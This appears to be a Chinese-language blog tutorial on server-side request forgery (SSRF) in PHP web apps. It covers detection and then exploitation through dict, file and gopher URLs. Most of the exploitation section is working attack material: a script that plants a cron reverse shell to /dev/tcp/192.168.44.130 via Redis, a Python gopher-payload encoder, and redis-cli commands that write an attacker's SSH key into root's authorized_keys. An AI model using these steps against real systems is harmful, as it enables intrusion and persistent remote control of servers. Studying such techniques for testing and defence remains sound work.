原文: https://www.yuque.com/ni4n/blogs/rglvo3
漏洞说明
ssrf漏洞,全称为服务端请求伪造漏洞,由于有的web应用需要实现从其它服务器上获取资源的功能,但是没有对url进行限制,导致可以构造非本意的url对内网或者其它服务器发起恶意请求。即可以用它探测客户端请求不到的内部系统。
相关函数
file_get_contents(),fsockopen(),curl_exec()三个函数使用不当时将会造成ssrf
file_get_contents() 支持php://input协议
curl_exec() 支持file, dict, gopher, http,ftp协议
fsockopen() 大部分 PHP 并不会开启 fopen 的 gopher wrapper
漏洞危害
1.探测内网主机
2.探测服务器信息
3.getshell
漏洞挖掘技巧
通常url中会有以下关键字
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
漏洞判断
有回显信息
在漏洞处输入url看是否有页面信息
无回显信息
可利用bp的一个模块
或者在漏洞出输入 127.0.0.22等抓包看是否有回显信息
或者用dnslog
漏洞利用
有回显信息
dict协议
利用dict协议探测内网存活主机,探测端口
file协议
利用file协议查看文件
无回显信息
gopher协议(大杀器)
攻击内网 Redis
可进行利用的cron有如下几个地方:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件
首先在redis的目录下写一个shell脚本
echo -e "\n\n* * * * * bash -i >& /dev/tcp/192.168.44.130/4444 0>&1\n\n" | redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /etc/
redis-cli -h $1 -p $2 config set dbfilename crontab
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,2333为反弹shell的监听端口,可随意设置。
然后打开一个终端执行
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
然后执行
./shell.sh 127.0.0.1 4444
将接收到的数据保存转换
脚本如下
#coding: utf-8
import sys
exp = ''
with open("payload.txt") as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
#如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
然后漏洞处输入
gopher://ip:6379/_+payload 注意要加_
写公钥,ssh登录
将公钥写入目标机缓存
ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit
redis-cli -h 192.168.1.100 -p 6379
写入公钥
192.168.1.100:6379> config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
quit
打mysql
利用gopherus工具
https://github.com/tarunkant/Gopherus
绕过方法
https://www.secpulse.com/archives/65832.html